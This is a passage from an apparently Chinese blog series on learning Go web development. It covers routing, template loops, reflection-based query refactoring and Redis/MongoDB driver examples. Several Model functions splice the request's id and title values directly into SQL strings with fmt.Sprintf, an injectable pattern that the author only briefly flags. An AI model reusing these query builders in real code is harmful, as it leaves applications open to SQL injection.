 <script src="https://cdn.bootcss.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>

 </body>
</html>

第三步、路由添加

修改 routes/routes.go 文件如下路由

{
 Path: "/item/",
 Fn: controllers.ArticleItem,
},

添加后重新编译并访问/item就会看到如下类似的输出

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1536507943/xiaorongmao/golang_web_22_1.png "" %}

以上就是具体逻辑的输出，不过这里主要说下难点

如何在模板中对数组类型的数据进行输出，如下方式操作

{{range .Data}}
<div class="blog-post">
<h2 class="blog-post-title">{{ .autokid }} - {{ .title }} blog post</h2>
<p class="blog-post-meta">January 1, 2014 by <a href="#">Mark</a></p>
</div>
{{end}}

这个是刚才的视图文件中可以找到

并且我们在控制层也要有对应的参数传递，如下

err = t.Execute(w, struct {
 Data []models.SelectResult
}{
 Data: qr,
})

Model层查询功能工作失败，由于反射机制使用错误，现已更改如下，前面的文章也会相应做修改

for k, v := range s {
	var ref = reflect.ValueOf(v)
	var refv = ref.Elem()

	if refv.Kind() == reflect.Int64 {
		tmpResult[k] = refv.Int()
	} else if refv.Kind() == reflect.String {
		tmpResult[k] = refv.String()
	}

	i++
}

这里主要是进行判断然后将值进行对应类型的转换，不然跟之前的调用方式，其实赋值的只是一个指针的地址，当循环到最后一个的时候，全部的值都会编程一个值，这个时候就会看到获取到的列表每组数值都是一样的。

今天分享就到这里，如果对反射机制不是很理解的话，可以去搜下，以前没觉得golang有多火，其实只要搜索下某个相关知识点那就回发现，很多文章在介绍次相关的知识。

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.1.6

Go基础学习记录之Web开发的博客编辑功能之Model查询重构

Fri, 01 Aug 2025 10:32:15 +0000

每次我都会将自己实践的代码放到github上并且都会打一个tag，方便后面用的同学使用，这里我以下面分支的代码进行实践分享

https://github.com/durban89/wiki_blog.git
tag: 1.1.4

上篇文章【Go基础学习记录 - 编写Web应用程序 - 博客编辑功能之Model重构】，只更新了Updaet方法，这次分享下，查询相关的实现
说实话，这个查询本来以为很简单，跟以前写PHP或者Python一样，直接返回查询结果，实际上也可能跟我使用的MySQL库有关系吧，不过这个不是重点，重点是我们找到解决问题的办法
开始之前先说下golang的interface的知识点

...interface{}这个要了解，知道这个是什么意思

先看下...string，这个代表string参数，具体函数的例子

func music(m ...string) {
 // other 实现
}

调用的时候我们这样调用

music("a", "b", "c")

我现在只是传入了三个参数，也可以传入更多的参数，当然还有另外一种调用方式

var args = []string{
 "a",
 "b",
 "c",
}
music(args...)

上面是个很好理解的例子，那么…interface{}的使用跟…string的使用差不多的，下面开始说下我是如何优化我的查询方法的。

第一步、Model层修改

这里优化了两个Query和QueryOne，先看下QueryOne，代码如下

// QueryOne 获取一条数据
func (p *ModelProperty) QueryOne(s SelectValues, where WhereValues) error {
 var selectString = s.MergeSelect()

 var whereString = where.MergeWhere()

 sql := fmt.Sprintf("SELECT %s FROM %s WHERE %s LIMIT 0, 1", selectString, tableName, whereString)

 rows, err := Conn.Query(sql)

 if err != nil {
 return err
 }

 selectField := make([]interface{}, len(s))

 var i = 0
 for _, v := range s {
 selectField[i] = v
 i++
 }

 for rows.Next() {
 err = rows.Scan(selectField...)

 if err != nil {
 return err
 }

 var i = 0
 for _, v := range s {
 ref := reflect.ValueOf(v)
 fmt.Println(ref.Elem())
 i++
 }
 }

 return nil
}

同时修改了SelectValues的结构，如下

// SelectValues select条件值
type SelectValues map[string]interface{}

重点的修改是这里

selectField := make([]interface{}, len(s))

var i = 0
for _, v := range s {
 selectField[i] = v
 i++
}

和函数MergeSelect

// MergeSelect 合并select条件
func (s SelectValues) MergeSelect() string {
 value := []string{}
 for k := range s {
 v := fmt.Sprintf("`%s`", k)
 value = append(value, v)
 }

 return strings.Join(value, ", ")
}

第一部分的修改是为了符合rows.Scan(selectField...)的函数调用，所以需要进行转换一下，同时需要为了控制层方便获取数据，需要通过指针的方式，将查到的数据回传到控制层
第二部分的修改是为了配合查询语句的生成，所以第二个修改是将key值进行了处理，最后也是修改SelectValues的原因，改过之后，其实整体上方便了查询，很多逻辑觉得实现的也很顺利

第二步、控制层调用

QueryOne查询的调用如下

var autokid int64
var title string
selectField := models.SelectValues{
 "autokid": &autokid,
 "title": &title,
}

err := blogModel.QueryOne(selectField, where)

if err != nil {
 http.NotFound(w, r)
 return
}

p := helpers.Page{
 Title: title,
 ID: autokid,
}

Query查询的调用

var blogModel models.BlogModel

var autokid int64
var title string
selectField := models.SelectValues{
 "autokid": &autokid,
 "title": &title,
}

where := models.WhereValues{}

qr, err := blogModel.Query(selectField, where, 1, 10)

if err != nil {
 http.NotFound(w, r)
 return
}

fmt.Println(qr)

从区别上可以看出，其实QueryOne直接查出来需要的数据，Query查询则直接返回具体的结果集。

今天分享就到这里，有问题可以留言或加群交流

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.1.5

Go基础学习记录 - 编写Web应用程序 - 博客编辑功能之Model重构

Fri, 01 Aug 2025 10:32:12 +0000

每次我都会将自己实践的代码放到github上并且都会打一个tag，方便后面用的同学使用，这里我以下面分支的代码进行实践分享

https://github.com/durban89/wiki_blog.git
tag: 1.1.3

针对于前面的几篇分享，觉的还是要勇于创新，发现更好的，更利于自己的，更能提高写代码效率的方式。于是将model这块的逻辑进行了重构
之前的文章【Go基础学习记录 - 编写Web应用程序 - 博客编辑功能之Model的重新思考】也算是实现了一部分功能，小区域的是没有问题，比如只是针对Blog这一个model是没有问题的，但是如果在创建一个是不是要重新再写一遍Create、Update、Delete等方式。
这个是很不方便的，在了解了创建一篇文章的时候大概就是需要添加、更新、删除、查询等功能的时候，其实应该写一个比较通用代码，具体需要更换的大概就是
数据要存储到哪张表，需要哪些字段，而且这些字段又都是变化的，不应该写死，而是由初始化的时候或者调用的时候来具体操作，这个就是目前设计模式中经常提到的，我不说大家也都知道，嘿嘿，我就不说，自己百度去。
有点类似于工厂模式

第一步、重新定义Model具体结构如下

// ModelMethod 接口
type ModelMethod interface {
 Query(offset int64, limit int64) (map[string]string, error)
 Create() (int64, error)
 Delete() (int64, error)
 Update() (int64, error)
 QueryOne(int64) (map[string]string, error)
}

// ModelProperty 属性
type ModelProperty struct {
 TableName string
}

// WhereCondition where条件
type WhereCondition struct {
 Operator string
 Value string
}

// WhereValues where条件值
type WhereValues map[string]WhereCondition

// UpdateValues update条件值
type UpdateValues map[string]string

// InsertValues Insert值
type InsertValues map[string]string

// SelectValues select条件值
type SelectValues []string

目前做了一个简单规划，表名要有，查询的where条件能够支持比较稍微复杂的查询，同时update和select的字段也都做了具体的定义。下面看下QueryOne和Update功能

第二步、重新定义Model函数这里暂时主要是定义了Update的函数，其余几个也加了暂时未做测试，这里只拿实践过的进行分享

// Update 更新
func (p *ModelProperty) Update(update UpdateValues, where WhereValues) (int64, error) {
 var updateString = update.MergeUpdate()
 var whereString = where.MergeWhere()

 sql := fmt.Sprintf("UPDATE %s SET %s WHERE %s", tableName, updateString, whereString)
 // 这里的tableName是有调用者设置的，也就是我们一般说的继承者设置的

 stmt, err := Conn.Prepare(sql)
 if err != nil {
 return 0, err
 }

 res, err := stmt.Exec()
 if err != nil {
 return 0, err
 }

 affect, err := res.RowsAffected()
 if err != nil {
 return 0, err
 }

 return affect, nil
}

**Tips** 这里的tableName是有调用者设置的，也就是我们一般说的继承者设置的

第三步、控制器调用修改

修改ArticleEdit函数
将更新部分

blogModel := &models.Blog{}
_, err := blogModel.Update(update, where)

替换为

var blogInstance models.BlogModel
_, err := blogInstance.Update(update, where)

重新编译后运行功能正常

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.1.4

Go基础学习记录 - 编写Web应用程序 - 博客编辑功能之Model的重新思考

Fri, 01 Aug 2025 10:32:07 +0000

每次我都会将自己实践的代码放到github上并且都会打一个tag，方便后面用的同学使用，这里我以下面分支的代码进行实践分享

https://github.com/durban89/wiki_blog.git
tag: 1.1.2

上篇文章【Go基础学习记录 - 编写Web应用程序 - 博客编辑完善更新功能】，在修改的过程中，遇到了一个问题就是Update函数与sqlite中的函数有冲突的提示，提示内容大概意思是重新定义了这个函数，这次我将更新的逻辑进行了更改，重新定义了下Model，同时将QueryOne函数也进行了更新。

第一步、重新定义Model

重新定义Model，主要是从概念上抽象了一些逻辑，比如一个查询语句最基本的where、select和更新中的update部分，我将这一部分作为一个小块来处理，处理代码逻辑如下，首先建立一个 models/models.go 文件，内容如下

package models

import (
	"fmt"
	"strings"
)

// Model 模型
type Model interface {
	QueryOne()
	Update()
}

// WhereCondition where条件
type WhereCondition struct {
	Operator string
	Value string
}

// WhereValues where条件值
type WhereValues map[string]WhereCondition

// UpdateValues update条件值
type UpdateValues map[string]string

// SelectValues select条件值
type SelectValues []string

// MergeWhere 合并where条件
func (w WhereValues) MergeWhere() string {
	where := []string{}
	for k, v := range w {
		if v.Operator == "" {
			s := fmt.Sprintf("%s = %s", k, v.Value)
			where = append(where, s)
		} else {
			s := fmt.Sprintf("%s %s %s", k, v.Operator, v.Value)
			where = append(where, s)
		}
	}

	return strings.Join(where, " AND ")
}

// MergeUpdate 合并update条件
func (u UpdateValues) MergeUpdate() string {
	update := []string{}
	for k, v := range u {
		s := fmt.Sprintf("%s = '%s'", k, v)
		update = append(update, s)
	}

	return strings.Join(update, ", ")
}

// MergeSelect 合并select条件
func (s SelectValues) MergeSelect() string {
	return strings.Join(s, ", ")
}

这样我觉得稍微清晰了一些，而且放在一个models.go文件，代表几乎所有的model都应该有这些方法。

修改完方法，就需要修改controller

第二步、修改Model

这里主要是先修改下models/blog.go，分别修改了QueryOne和Update两个函数，修改后的代码如下

// QueryOne 获取一条数据
func (b *Blog) QueryOne(where WhereValues) (helpers.Page, error) {
	var selectString = SelectValues{
		"*",
	}.MergeSelect()

	var whereString = where.MergeWhere()

	sql := fmt.Sprintf("SELECT %s FROM %s WHERE %s LIMIT 0, 1", selectString, tableName, whereString)

	rows, err := Conn.Query(sql)

	var res = helpers.Page{}

	if err != nil {
		return res, err
	}

	for rows.Next() {
		var autokid int
		var title string
		err = rows.Scan(&autokid, &title)

		if err != nil {
			return res, err
		}

		p := helpers.Page{
			ID: autokid,
			Title: title,
		}

		res = p
	}

	if res.ID == 0 {
		return res, errors.New("文章不存在")
	}

	return res, nil
}

另外Update函数内容如下

// Update 更新数据
func (b *Blog) Update(update UpdateValues, where WhereValues) (int64, error) {
	var updateString = update.MergeUpdate()
	var whereString = where.MergeWhere()

	sql := fmt.Sprintf("UPDATE %s SET %s WHERE %s", tableName, updateString, whereString)

	stmt, err := Conn.Prepare(sql)
	if err != nil {
		return 0, err
	}

	res, err := stmt.Exec()
	if err != nil {
		return 0, err
	}

	affect, err := res.RowsAffected()
	if err != nil {
		return 0, err
	}

	return affect, nil
}

这里的话暂时没有写单元测试

第三步、修改Controller

controller的修改主要是修改article中ArticleEdit函数，内容如下

// ArticleEdit 编辑文章
func ArticleEdit(w http.ResponseWriter, r *http.Request) {
	id := r.URL.Query().Get("id")
	if id == "" {
		http.NotFound(w, r)
		return
	}

	where := models.WhereValues{
		"autokid": models.WhereCondition{
			Operator: "=",
			Value: id,
		},
	}

	update := map[string]string{}

	if strings.ToLower(r.Method) == "get" {

		blogModel := &models.Blog{}

		p, err := blogModel.QueryOne(where)

		if err != nil {
			http.NotFound(w, r)
			return
		}

		crutime := time.Now().Unix()
		h := md5.New()
		io.WriteString(h, strconv.FormatInt(crutime, 10))
		token := fmt.Sprintf("%x", h.Sum(nil))

		p.Token = token
		helpers.RenderTemplate(w, "edit", &p)
	} else if strings.ToLower(r.Method) == "post" {
		title := r.FormValue("title")
		if title == "" {
			http.Redirect(w, r, fmt.Sprintf("/edit?id=%s", id), http.StatusFound)
			return
		}

		update["title"] = title

		blogModel := &models.Blog{}

		_, err := blogModel.Update(update, where)

		if err != nil {
			http.NotFound(w, r)
			return
		}

		http.Redirect(w, r, fmt.Sprintf("/edit?id=%s", id), http.StatusFound)
		return
	}

}

经过前面的修改，自我觉得更加golang编程化了。

重新编辑代码并运行，一切正常，想要查看完整代码的，可以到下面引导去下载

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.1.3

Go基础学习记录 - 编写Web应用程序 - 博客编辑完善更新功能

Fri, 01 Aug 2025 10:32:04 +0000

每次我都会将自己实践的代码放到github上并且都会打一个tag，方便后面用的同学使用，这里我以下面分支的代码进行实践分享

https://github.com/durban89/wiki_blog.git
tag: 1.1.1

上篇文章【Go基础学习记录 - 编写Web应用程序 - 博客编辑功能完善】我们只是将需要的文章从数据库读取出来，然后在前端展示，那么如果要修改的话，改如何操作，今天的分享继续上篇文章

第一步、添加更新Model

既然更新，就涉及到了更新的逻辑，即如何将更新写入数据库，这里我将之前的Update函数进行完善操作，将Update改为了UpdateData，主要原因是我在另外要给sqlite库中也写了一个Update的函数，go工具提示我重复了，这个不知道是不是go的机制的问题，同一个包下面不应该有相同的函数，暂时修改为UpdateData，不过这里也应该是设计的问题，后面再完善下，首先先将编辑更新的逻辑完善，UpdateData的函数实现如下

// UpdateData 更新数据
func (b *Blog) UpdateData() (int64, error) {
	var updateString = strings.Join(b.MergeUpdate(), " , ")
	var whereString = strings.Join(b.MergeWhere(), " AND ")

	sql := fmt.Sprintf("UPDATE %s SET %s WHERE %s", tableName, updateString, whereString)
	stmt, err := Conn.Prepare(sql)
	if err != nil {
		return 0, err
	}

	res, err := stmt.Exec()
	if err != nil {
		return 0, err
	}

	affect, err := res.RowsAffected()
	if err != nil {
		return 0, err
	}

	return affect, nil
}

当然这里也是有问题的，推荐将要修改的参数放入Exec中，这样应该可以预防SQL注入。

第二步、添加更新Controller

更新的Model有了，然后修改Controller的逻辑，修改函数ArticleEdit，代码实现如下

// ArticleEdit 编辑文章
func ArticleEdit(w http.ResponseWriter, r *http.Request) {
	id := r.URL.Query().Get("id")
	if id == "" {
		http.NotFound(w, r)
		return
	}

	where := []db.Where{}
	update := []db.UpdateSection{}

	if strings.ToLower(r.Method) == "get" {

		where = append(where, db.Where{
			Name: "autokid",
			Value: id,
		})

		blogModel := &models.Blog{
			Select: []string{"*"},
			Where: where,
		}

		p, err := blogModel.QueryOne()

		if err != nil {
			http.NotFound(w, r)
			return
		}

		crutime := time.Now().Unix()
		h := md5.New()
		io.WriteString(h, strconv.FormatInt(crutime, 10))
		token := fmt.Sprintf("%x", h.Sum(nil))

		p.Token = token
		helpers.RenderTemplate(w, "edit", p)
	} else if strings.ToLower(r.Method) == "post" {
		title := r.FormValue("title")
		if title == "" {
			http.Redirect(w, r, fmt.Sprintf("/edit?id=%s", id), http.StatusFound)
			return
		}

		update = append(update, db.UpdateSection{
			Name: "title",
			Value: title,
		})

		where = append(where, db.Where{
			Name: "autokid",
			Value: id,
		})

		blogModel := &models.Blog{
			Update: update,
			Where: where,
		}

		_, err := blogModel.UpdateData()

		if err != nil {
			http.NotFound(w, r)
			return
		}

		http.Redirect(w, r, fmt.Sprintf("/edit?id=%s", id), http.StatusFound)
		return
	}

}

感觉有那么点像之前的写法了。

第三步、添加更新View

在来修改下模板，主要是修改提交的地址。将

<form action="/save/{{.Title}}" method="POST">

更改为

<form action="/edit/?id={{.ID}}" method="POST">

想要看完成实例，请到这里，如下

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.1.2

Go基础学习记录 - 编写Web应用程序 - 博客编辑功能完善

Fri, 01 Aug 2025 10:32:00 +0000

每次我都会将自己实践的代码放到github上并且都会打一个tag，方便后面用的同学使用，这里我以下面分支的代码进行实践分享

https://github.com/durban89/wiki_blog.git
tag: 1.1.0

一般我们在进行博客文章编辑的时候都要进行查询数据库，查找要编辑的文章是否存在，最后将查询出来的内容传到前端进行展示。

第一步完善Model的查询逻辑

修改 models/blog.go 文件的QueryOne函数，代码修改如下

// QueryOne 获取一条数据
func (blog *Blog) QueryOne() (*helpers.Page, error) {
	var selectString = strings.Join(blog.Select, ", ")
	var whereString = strings.Join(blog.MergeWhere(), " AND ")

	sql := fmt.Sprintf("SELECT %s FROM %s WHERE %s LIMIT 0, 1", selectString, tableName, whereString)

	rows, err := Conn.Query(sql)

	if err != nil {
		return nil, err
	}

	var res = helpers.Page{}

	for rows.Next() {
		var autokid int
		var title string
		err = rows.Scan(&autokid, &title)

		if err != nil {
			return nil, err
		}

		p := helpers.Page{
			ID: autokid,
			Title: title,
		}

		res = p
	}

	if res.ID == 0 {
		return nil, errors.New("文章不存在")
	}

	return &res, nil
}

从上面的方法中我们可以看出，使用了一个非常笨拙的方法，就是拼接SQL，然后执行SQL查询。

我们在看下Blog结构体是个什么样的设计

type Blog struct {
	Select []string
	Where []db.Where
}

我当初的设计想法是，一个Model在进行查询操作的时候，唯一需要的用的到而且比较多的常用的也就只有select部分和where部分，其他复杂的部分这里暂时不做设计，后面会一步一步进行设计

再看下db.Where结构体的样子

type Where struct {
	Name string
	Value string
	Operator string
}

同时加了一个Merge方法，这个方法主要是用来进行将where条件的字段名和值进行拼接组成一个能在查询中使用的where条件字段值。

第二步完善路由调动方法

完成这些，一个基本的查询就完成了，下面看下如何来调用这个操作，使得我们的博客能够跟数据库打通，后面的编辑提交跟添加之类的操作就比较方便了。看下ArticleEdit函数的修改如下

// ArticleEdit 编辑文章
func ArticleEdit(w http.ResponseWriter, r *http.Request) {
	id := r.URL.Query().Get("id")
	if id == "" {
		http.NotFound(w, r)
		return
	}

	where := []db.Where{}

	where = append(where, db.Where{
		Name: "autokid",
		Value: id,
	})

	blogModel := &models.Blog{
		Select: []string{"*"},
		Where: where,
	}

	p, err := blogModel.QueryOne()

	if err != nil {
		http.NotFound(w, r)
		return
	}

	crutime := time.Now().Unix()
	h := md5.New()
	io.WriteString(h, strconv.FormatInt(crutime, 10))
	token := fmt.Sprintf("%x", h.Sum(nil))

	p.Token = token
	helpers.RenderTemplate(w, "edit", p)
}

首先是根据传进来的参数id，查询数据库blog表，如果文章存在则进行渲染模板，如果不存在则渲染不存在的页面。

第三步重新编译并运行

项目目录下执行并运行

go install && wiki

想要看完成实例，请到这里，如下

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.1.0

Go基础学习记录 - 编写Web应用程序 - 路由和程序启动的一些思考

Fri, 01 Aug 2025 10:31:57 +0000

近段时间重新对我的Web应用程序进行了一些思考，首先程序启动的main.go文件中，暂时的路由添加没有太大的问题，但是根据以往的项目开发经验，如果这个系统对外分享的话，之后在做大项目的时候，会遇到添加很多路由的情况，然后就会发现文件变的越来越大，关键是路由还放在了main.go文件中，这个实在是太麻烦了，于是今天做了下少许的改动。

每次我都会将自己实践的代码放到github上并且都会打一个tag，方便后面用的同学使用，这里我以下面分支的代码进行实践分享

https://github.com/durban89/wiki_blog.git
tag: 1.0.12

1、改动main.go文件

将原来的

http.HandleFunc("/view/", helpers.MakeHandler(controllers.ArticleView))
http.HandleFunc("/save/", helpers.MakeHandler(controllers.ArticleSave))
http.HandleFunc("/edit/", helpers.MakeHandler(controllers.ArticleEdit))
http.HandleFunc("/upload/", controllers.UploadHandler)
http.HandleFunc("/postFile/", controllers.PostFileHandler)

用下面的代码替换掉

router.Routes()

这样我们将路由这一块的逻辑分到一个负责路由的文件来做处理，这样main.go文件就看起来很简洁。

2、添加router.go

创建文件router/router.go,添加代码如下

package router

import (
	"net/http"

	"github.com/durban89/wiki/controllers"
)

// RouterMap 路由
type RouterMap struct {
	Path string
	Fn func(http.ResponseWriter, *http.Request)
}

// RouterMaps 路由列表
var RouterMaps = []*RouterMap{
	{
		Path: "/view/",
		Fn: controllers.ArticleViewWithID,
	},
	{
		Path: "/save/",
		Fn: controllers.ArticleViewWithID,
	},
	{
		Path: "/edit/",
		Fn: controllers.ArticleViewWithID,
	},
	{
		Path: "/upload/",
		Fn: controllers.UploadHandler,
	},
	{
		Path: "/postFile/",
		Fn: controllers.PostFileHandler,
	},
}

// Routes 操作
func Routes() {
	for i := 0; i < len(RouterMaps); i++ {
		cRoute := RouterMaps[i]
		http.HandleFunc(cRoute.Path, cRoute.Fn)
	}
}

从上面的代码可以看出来，路由的管理稍微好一些了，这也就达到了我们优化main.go文件的目的。

3、测试

在controllers/article.go文件中添加如下函数

func ArticleViewWithID(w http.ResponseWriter, r *http.Request) {
	if strings.ToLower(r.Method) == "get" {
		var validPath = regexp.MustCompile("^/(view)/([a-zA-Z0-9]+)$")
		m := validPath.FindStringSubmatch(r.URL.Path)
		if m == nil {
			http.NotFound(w, r)
			return
		}

		// 获取文章标题或者文章ID
		fmt.Println(m[2:])

		fmt.Fprintf(w, "Welcome to the home page!")
		return
	}

	http.NotFound(w, r)
	return

}

添加完之后，重新编译项目并运行，一切正常。

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.1.0

Go基础学习记录 - 编写Web应用程序 - 数据库(五)

Fri, 01 Aug 2025 10:31:49 +0000

本次分享下 – NoSQL数据库 - Redis数据库驱动程序

NoSQL数据库

NoSQL数据库提供了一种存储和检索数据的机制，该机制使用比典型的关系数据库更松散的一致性模型，以实现水平扩展和更高的可用性。
一些作者将它们称为“不仅仅是SQL”，以强调某些NoSQL系统确实允许使用类似SQL的查询语言。
作为21世纪的C语言，Go对NoSQL数据库提供了很好的支持，包括流行的redis，mongoDB，Cassandra和Membase NoSQL数据库。

Redis

redis是一个像Memcached这样的键值存储系统，它支持string，list，set和zset（有序集）值类型。
redis有一些Go数据库驱动程序：

https://github.com/gomodule/redigo
https://github.com/go-redis/redis
https://github.com/hoisie/redis
https://github.com/alphazero/Go-Redis
https://github.com/simonz05/godis

让我们看看如何使用redigo驱动程序在数据库上运行：

安装redigo：

go get github.com/gomodule/redigo

使用方式如下

package main

import (
 "fmt"
 "github.com/gomodule/redigo"
 "os"
 "os/signal"
 "syscall"
 "time"
)

var (
 Pool *redis.Pool
)

func init() {
 redisHost := ":6379"
 Pool = newPool(redisHost)
 close()
}

func newPool(server string) *redis.Pool {

 return &redis.Pool{

 MaxIdle: 3,
 IdleTimeout: 240 * time.Second,

 Dial: func() (redis.Conn, error) {
 c, err := redis.Dial("tcp", server)
 if err != nil {
 return nil, err
 }
 return c, err
 },

 TestOnBorrow: func(c redis.Conn, t time.Time) error {
 _, err := c.Do("PING")
 return err
 },
 }
}

func close() {
 c := make(chan os.Signal, 1)
 signal.Notify(c, os.Interrupt)
 signal.Notify(c, syscall.SIGTERM)
 signal.Notify(c, syscall.SIGKILL)
 go func() {
 <-c
 Pool.Close()
 os.Exit(0)
 }()
}

func Get(key string) ([]byte, error) {

 conn := Pool.Get()
 defer conn.Close()

 var data []byte
 data, err := redis.Bytes(conn.Do("GET", key))
 if err != nil {
 return data, fmt.Errorf("error get key %s: %v", key, err)
 }
 return data, err
}

func main() {
 test, err := Get("test")
 fmt.Println(test, err)
}

我们可以看到在Go中操作redis非常容易，并且它具有很高的性能。
它的客户端命令几乎与redis的内置命令相同。

MongoDB

MongoDB（来自“humongous”）是一个由10gen开发和支持的面向文档的开源数据库系统。
它是NoSQL系列数据库系统的一部分。MongoDB不是像在“经典”关系数据库中那样在表中存储数据，而是将结构化数据存储为具有动态模式的类似JSON的文档（MongoDB调用BSON格式），使得在某些类型的应用程序中的数据集成更容易，更快捷。

MongoDB的最佳驱动程序称为mgo，将来它可能会包含在标准库中。
安装mgo：

go get gopkg.in/mgo.v2

使用方式如下

package main

import (
 "fmt"
 "gopkg.in/mgo.v2"
 "gopkg.in/mgo.v2/bson"
 "log"
)

type Person struct {
 Name string
 Phone string
}

func main() {
 session, err := mgo.Dial("server1.example.com,server2.example.com")
 if err != nil {
 panic(err)
 }
 defer session.Close()

 // Optional. Switch the session to a monotonic behavior.
 session.SetMode(mgo.Monotonic, true)

 c := session.DB("test").C("people")
 err = c.Insert(&Person{"Ale", "+55 53 8116 9639"},
 &Person{"Cla", "+55 53 8402 8510"})
 if err != nil {
 log.Fatal(err)
 }

 result := Person{}
 err = c.Find(bson.M{"name": "Ale"}).One(&result)
 if err != nil {
 log.Fatal(err)
 }

 fmt.Println("Phone:", result.Phone)
}

我们可以看到，在mgo数据库上运行时没有太大的区别;它们都是基于结构的。这是Go的做事方式。

今天就分享到这里，如果你有其他疑问请在下方留言或者加群交流

Go基础学习记录 - 编写Web应用程序 - 完善Blog Model

Fri, 01 Aug 2025 10:31:41 +0000

完善Blog Model

前面的章节我们分别介绍了MySQL、SQLite、PostgreSQL等数据库的使用
本节简单介绍并完善下我们自己的小博客的Model部分，这部分暂时先分享下Blog Model部分
这部分的完善其实很简单，但是对于像我这样的初学者，还是稍微费力一点

为了保持项目的可学习性，我这里将之前分享的代码积累了下，放在github上，想要尽快入手学习的，可以直接clone我的代码，写代码不上手，都等于白搭，光看的话，对于我来说，我是不行的，没办法学会。

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.11

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.11

这些我觉得够清晰了。OK！

继续分享"完善Model"。

在完善Model层之前我们先想一下，再进行博客的数据交互上我们需要哪些基本功能，我列出如下

增加 - 博客空的，是不是我们需要增加的数据
更新 - 如果发布错了，是不是需要进行更新
删除 - 如果发表的文章违法了，是不是需要进行删除
查找 - 如果进行查看，是不是需要把数据对出来，但是这里有读多条和一条的时候

好了功能我们大概知道了，下面我们先写个增加的逻辑，修改 blog.go ，添加Create()函数

// Create 添加数据
func Create(p *helpers.Page) (int64, error) {
 sql := fmt.Sprintf("INSERT %s SET title=?", tableName)
 stmt, err := Conn.Prepare(sql)
 if err != nil {
 return 0, err
 }

 res, err := stmt.Exec(p.Title)
 if err != nil {
 return 0, err
 }

 id, err := res.LastInsertId()
 if err != nil {
 return 0, err
 }

 return id, nil
}

首先说下参数这里参数的类型是Page，为什么要用Page，其实很好理解，我们前面已经大致列出了一篇文章的主要结构，其实一篇文章的结构的基本上就是我们需要存储的，Page的结构我这里只是简单加了一个ID，
其他项没有修改，后面再继续完善，一下子完善了，是需要花费蛮多时间的。Page目前的结构如下

type Page struct {
 ID int // 新加
 Title string
 Body []byte
 Script string
 Html template.HTML
 Token string
}

Create()函数暂时也存储了标题内容，其余的后期分享
返回的参数，这里(int64, error)，也很好理解，就是返回我们创建记录的ID，其余的更新和删除功能都很类似下面列出如下

// Update 更新数据
func Update(p *helpers.Page, id int64) (int64, error) {
 sql := fmt.Sprintf("UPDATE %s SET title=? WHERE autokid=?", tableName)
 stmt, err := Conn.Prepare(sql)
 if err != nil {
 return 0, err
 }

 res, err := stmt.Exec(p.Title, id)
 if err != nil {
 return 0, err
 }

 affect, err := res.RowsAffected()
 if err != nil {
 return 0, err
 }

 return affect, nil
}

// Delete 删除数据
func Delete(id int64) (int64, error) {
 sql := fmt.Sprintf("DELETE FROM %s WHERE autokid=?", tableName)
 stmt, err := Conn.Prepare(sql)
 if err != nil {
 return 0, err
 }

 res, err := stmt.Exec(id)
 if err != nil {
 return 0, err
 }

 affect, err := res.RowsAffected()
 if err != nil {
 return 0, err
 }

 return affect, nil
}

// Query 获取数据
func Query() ([]helpers.Page, error) {
 sql := fmt.Sprintf("SELECT * FROM %s", tableName)
 rows, err := Conn.Query(sql)

 if err != nil {
 return nil, err
 }

 var res = []helpers.Page{}

 for rows.Next() {
 var autokid int
 var title string
 err = rows.Scan(&autokid, &title)

 if err != nil {
 return nil, err
 }

 p := helpers.Page{
 ID: autokid,
 Title: title,
 }

 res = append(res, p)
 }

 return res, nil
}

// QueryOne 获取一条数据
func QueryOne() ([]helpers.Page, error) {
 sql := fmt.Sprintf("SELECT * FROM %s LIMIT 0, 1", tableName)

 rows, err := Conn.Query(sql)

 if err != nil {
 return nil, err
 }

 var res = []helpers.Page{}

 for rows.Next() {
 var autokid int
 var title string
 err = rows.Scan(&autokid, &title)

 if err != nil {
 return nil, err
 }

 p := helpers.Page{
 ID: autokid,
 Title: title,
 }

 res = append(res, p)
 }

 return res, nil
}

上面基本上就完成了Blog Model的基础数据交互搭建，下面开始写我们的测试单元，简单的写几个测试，看看功能是否能够运行，完整的测试后面来完善，测试单元代码如下

package models

import (
 "testing"

 "github.com/durban89/wiki/helpers"
)

func TestCreate(t *testing.T) {
 p := helpers.Page{
 Title: "Test Create",
 }
 id, err := Create(&p)
 if err != nil {
 t.Error(err)
 }

 t.Log(id)
}

func TestUpdate(t *testing.T) {
 p := helpers.Page{
 Title: "Test Update",
 }

 effect, err := Update(&p, 2)
 if err != nil {
 t.Error(err)
 }

 t.Log(effect)
}

func TestDelete(t *testing.T) {
 effect, err := Delete(2)
 if err != nil {
 t.Error(err)
 }

 t.Log(effect)
}

func TestQueryOne(t *testing.T) {
 row, err := QueryOne()

 if err != nil {
 t.Error(err)
 } else {
 t.Log(row)
 }

 if len(row) == 1 {
 t.Log("正确")
 } else {
 t.Error("失败")
 }

 for i, k := range row {
 t.Log(i)
 t.Log(k)
 }
}

// TestQuery 测试获取数据
func TestQuery(t *testing.T) {
 row, err := Query()

 if err != nil {
 t.Error(err)
 } else {
 t.Log(row)
 }

 if len(row) > 0 {
 t.Log("正确")
 } else {
 t.Error("失败")
 }

 for i, k := range row {
 t.Log(i)
 t.Log(k)
 }
}

编译并进行测试，测试通过类似如下

$ go test -v
=== RUN TestCreate
--- PASS: TestCreate (0.01s)
 blog_test.go:18: 6
=== RUN TestUpdate
--- PASS: TestUpdate (0.00s)
 blog_test.go:31: 1
=== RUN TestDelete
--- PASS: TestDelete (0.00s)
 blog_test.go:40: 1
=== RUN TestQueryOne
--- PASS: TestQueryOne (0.00s)
 blog_test.go:49: [{3 title2 [] }]
 blog_test.go:53: 正确
 blog_test.go:59: 0
